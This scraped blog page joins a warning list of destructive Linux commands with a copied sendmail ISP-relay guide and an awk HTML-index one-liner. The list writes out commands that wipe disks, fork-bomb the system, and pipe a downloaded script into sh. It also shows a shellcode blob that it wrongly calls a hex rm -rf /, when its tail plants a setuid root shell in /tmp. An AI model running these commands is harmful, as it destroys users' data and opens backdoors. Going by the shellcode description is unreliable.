7-deadly-linux-commands

You want to learn about Linux, start from learning what not to do. Here is one for the starting point.

So moral of the story is if someone asks you to do something and you dont know what that command will do, then dont do it. If your inner thing does not allow you not to do it, do it with all the care you can take. May be a backup and most importantly \”DONT USE ROOT LOGIN IF U DONT HAVE REASON TO USE IT\”. BTW there are couple of more articles on these kind of advices but the best way to save yourself is to educate yourself on the outcome of the command you are executing.

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:


rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(\”.text\”))) /* e.s.p
release */
= \”\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\”
\”\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\”
\”\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\”
\”\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\”
\”\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\”
\”\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\”
\”\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\”
\”cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;\”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn\’t exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

Configure sendmail for SMTP relay with your ISP

http://cri.ch/linux/docs/sk0009.html

I have copied the document from the above link without modifications

Author:  Sven Knispel
Updated:  05-01-2005
Feedback welcome: [email protected]
Free service provided by: www.cri.ch

The following article explains the setup of sendmail for forwarding mails to your ISP\’s smtp server.
It is assumed that you have sendmail up-to-date and configured properly.
Note: this setup does not work properly for smtp-server using

1
SASL

(e.g. like

1
smtp.pobox.com

)
Most of the commands must be executed with the corresponding rights (using

1
sudo

).

1. configure your smtp-server

(this requires that you have the package

1
sendmail-cf

installed)

1.1. changes to

1
/etc/mail/sendmail.mc

Uncomment the definition

1
SMART_HOST

and add the correspondign

1
FEATURE

to it:

1
            define(`SMART_HOST\', `your-smtp-server\')<br />            FEATURE(authinfo)dnl

Note: Please note, that these are \”oriented\” quotes.

1.2. create the new

1
sendmail.cf

Stop sendmail by issuing the command

1
/sbin/service sendmail stop

and log on as

1
root

to issue this command.

1
            m4 /etc/mail/sendmail.mc &gt; /etc/mail/sendmail.cf
1
 

1.3. Define the account information for connecting to the smtp-server

Edit/create

1
/etc/mail/authinfo

and add the following line:

1
              AuthInfo:&lt;your-smtp-server&gt; "U:&lt;your-smtp-user&gt;" "P:&lt;your-smtp-password&gt;" "M:DIGEST-MD5"

Note:The

1
M:

may vary depending on the capabilities of the smtp-server (e.g.

1
CRAM-MD5, PLAIN

).

Create

1
authinfo.db

:

1
              makemap hash /etc/mail/authinfo &lt; /etc/mail/authinfo

and finally restart sendmail:

1
                /sbin/service sendmail restart

1.4. Configure header rewriting (optional)

Header rewriting consists in replacing the

1
From:

and

1
Reply to:

in the header of an outgoing mail in order for the recipient to reply to a valid address.
This can be set by editing the file

1
/etc/mail/userdb

:

1
&lt;local-name&gt;:mailname &lt;email-adsress&gt;

E.g.:

1
              # /etc/mail/userdb <br />              sven:mailname [email protected]

Finally create the corresponding database:

1
              makemap btree /etc/mail/userdb.db &lt; /etc/mail/userdb

… and finally restart sendmail:

1
                /sbin/service sendmail restart

1.5. Test your settings

Issue following commands and check the trace for verifying the delivery path:

1
              /usr/sbin/sendmail -bv [email protected]

Should show a \”local\” delivery.

1
              /usr/sbin/sendmail -bv &lt;your-mail&gt;@&lt;your-domain&gt;

Should show a delivery path through your ISP.

For troubleshooting you should check the mail-log:

1
/var/log/maillog

2. Forwarding

Forward can be defined in

1
~/.forward

. (just enter the e-mail addressto forward to). Note:The permissions of that file must be adjusted correspondingly in order to avoid sendmail ignoring it (see

1
/var/log/maillog

in case of problems).

3. References

For further information I recommend to check following link:

Script to generate a html file with link to all files in directory

ls -1 |awk -F\”.\” \'{print  \”<p><a href=\”\”,$_,\”\”> \”,$2,\”.\”,$3,\” </a></p>\” ;}\’ > index1.html

And if you want to do it recursively

ls -1R |awk -F\”.\” \'{print  \”<p><a href=\”\”,$_,\”\”> \”,$2,\”.\”,$3,\” </a></p>\” ;}\’ > index1.html